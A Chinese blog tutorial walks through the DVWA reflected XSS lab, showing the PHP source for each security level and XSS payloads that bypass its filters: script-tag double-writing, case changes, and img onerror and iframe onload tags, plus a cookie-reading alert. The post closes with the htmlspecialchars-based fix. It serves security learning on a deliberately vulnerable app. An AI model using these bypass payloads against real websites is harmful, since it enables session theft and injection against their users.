DVWA 之 XSS(Reflected)反射型XSS

目录

1、级别:Low

2、级别:Medium

3、级别:High

4、级别:Impossible


 

反射型XSS攻击

        又称为非持久性跨站点脚本攻击,它是最常见的类型的XSS。漏洞产生的原因是攻击者注入的数据反映在响应中。一个典型的非持久性XSS包含一个带XSS攻击向量的链接(即每次攻击需要用户的点击) 恶意代码并没有保存在目标网站,由浏览器解析脚本。

1、级别:Low

源码: 


<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

代码采用get方式传入了name参数,没有做任何的过滤与检查,存在明显的XSS漏洞。

输入一个简单的语句测试一下:

<script>alert(1)</script>

 有弹窗,即测试成功,按F12查看一下网页代码

可以看到我们在输出“Hello”之后成功注入了代码,原本这个地方应该是输入数据的,但是却变成运行代码了 ,从而达到黑客想要的目的,甚至是获取信息。

尝试一下直接获取cookie

<script>alert(document.cookie)</script>

 

2、级别:Medium


<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

 这里对输入进行了过滤,使用str_replace函数将输入中的<script>替换为空,有多种方法可以进行绕过。

双写绕过

 <sc<script>ript>alert(123)</script>

 

 大小写绕过

<Script>alert(456)</script>

 

利用其他标签进行绕过 

(1)img(图片插入法)

<img src=1 οnerrοr=alert('xss')>

(2) iframe

 <iframe οnlοad=alert(123456)>

…… 

3、级别:High


<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

preg_replace() 函数用于正则表达式的搜索和替换,这里凡是带script的都会被过滤,/i的意思是大小写通用,所以上述双写和大小写绕过都不行了,但利用其他的标签进行绕过依然可以成功。

4、级别:Impossible


<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

添加了 anti-token 防御机制,和htmlseecialchars函数来防御

htmlspecialchars()函数
htmlspecialchars函数的功能:
把预定义的字符转换为 HTML 实体。
预定义的字符是:
& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 <
> (大于)成为 >


完美的对我们输入的内容进行过滤,避免了XSS攻击。

  • 3
    点赞
  • 19
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

RexHarrr

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值